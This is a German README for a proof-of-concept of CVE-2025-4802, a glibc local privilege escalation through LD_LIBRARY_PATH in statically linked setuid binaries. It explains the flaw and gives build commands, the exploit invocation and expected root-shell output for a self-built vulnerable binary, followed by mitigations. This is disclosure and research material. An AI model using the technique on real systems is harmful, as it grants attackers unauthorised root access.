CVE-2025-4802 — Proof of Concept

⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Nutzen Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Missbrauch kann gegen Gesetze und Vorschriften verstoßen.

CVE-Zusammenfassung

Beschreibung

Eine Schwachstelle in der GNU C Library (glibc) Versionen 2.27 bis 2.38 ermöglicht es einem Angreifer, die Umgebungsvariable LD_LIBRARY_PATH in statisch kompilierten setuid-Binärdateien auszunutzen, die dlopen() aufrufen.

Normalerweise bereinigt der dynamische Linker LD_LIBRARY_PATH für setuid-Programme. Da jedoch statisch kompilierte Binärdateien den dynamischen Linker vollständig umgehen, wird LD_LIBRARY_PATH niemals gelöscht. Wenn eine solche Binärdatei dlopen() aufruft (direkt oder indirekt über setlocale() oder NSS-Funktionen wie getaddrinfo()), löst glibc gemeinsam genutzte Bibliotheken unter Verwendung des vom Angreifer kontrollierten LD_LIBRARY_PATH auf, wodurch beliebiger Code mit erhöhten Privilegien ausgeführt werden kann.

Funktionsweise

1. Eine statisch kompilierte setuid-root-Binärdatei ruft dlopen("myso.so", ...) auf, um ein Shared Object anhand seines Namens (nicht eines absoluten Pfads) zu laden.
2. Da die Binärdatei statisch gelinkt ist, wird der dynamische Linker (ld-linux.so) nie ausgeführt, sodass LD_LIBRARY_PATH nicht bereinigt wird.
3. Ein Angreifer erstellt ein bösartiges Shared Object (myso.so), das dasselbe hello()-Symbol exportiert, aber eine Root-Shell startet.
4. Der Angreifer setzt LD_LIBRARY_PATH so, dass er auf das Verzeichnis mit der bösartigen Bibliothek zeigt.
5. Wenn die setuid-Binärdatei ausgeführt wird, lädt sie die Bibliothek des Angreifers anstelle der legitimen und führt beliebigen Code als root aus.

Repository-Struktur

.
├── main.c                          # Quellcode der angreifbaren setuid-Binärdatei
├── myso.c                          # Legitimes Shared Object (sicher)
├── evil_library/
│   └── evilso.c                    # Bösartiges Shared Object (startet Root-Shell)
├── proof_of_concept_screenshot.png # Terminal-Screenshot des Exploits
├── proof_of_concept_video.mp4      # Video-Walkthrough
├── Makefile                        # Build-Automatisierung
└── README.md

Voraussetzungen

• Betriebssystem: Fedora 39 (oder jede Linux-Distribution mit einer angreifbaren glibc)
• glibc-Version: 2.27 – 2.38 (überprüfen mit ldd --version)
• Pakete: gcc, make
• Root-Zugriff zum Setzen des setuid-Bits

Reproduktionsschritte

1. Alles kompilieren

make all

Oder manuell:

# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Setuid-Bit setzen (erfordert Root-Rechte)

sudo chown root:root main
sudo chmod u+s main

3. Normal ausführen (sicheres Verhalten)

./main

Erwartete Ausgabe:

 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Exploit mit LD_LIBRARY_PATH (bösartiges Verhalten)

LD_LIBRARY_PATH=./evil_library ./main

Erwartete Ausgabe:

 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Die Binärdatei lädt das myso.so des Angreifers aus evil_library/ anstelle des legitimen und startet eine Root-Shell.

Proof of Concept

Ein Video-Walkthrough ist ebenfalls verfügbar: proof_of_concept_video.mp4

Gegenmaßnahmen

• glibc aktualisieren auf eine gepatchte Version (> 2.38)
• Statisches Linken vermeiden für setuid-Binärdateien, die dlopen() verwenden
• Absolute Pfade in dlopen()-Aufrufen anstelle bloßer Bibliotheksnamen verwenden
• Berechtigungen vor dem Aufruf von dlopen() aufheben
• Härtungsflags des Compilers/Linkers verwenden und setuid nach Möglichkeit vermeiden

Ressourcen

• NVD — CVE-2025-4802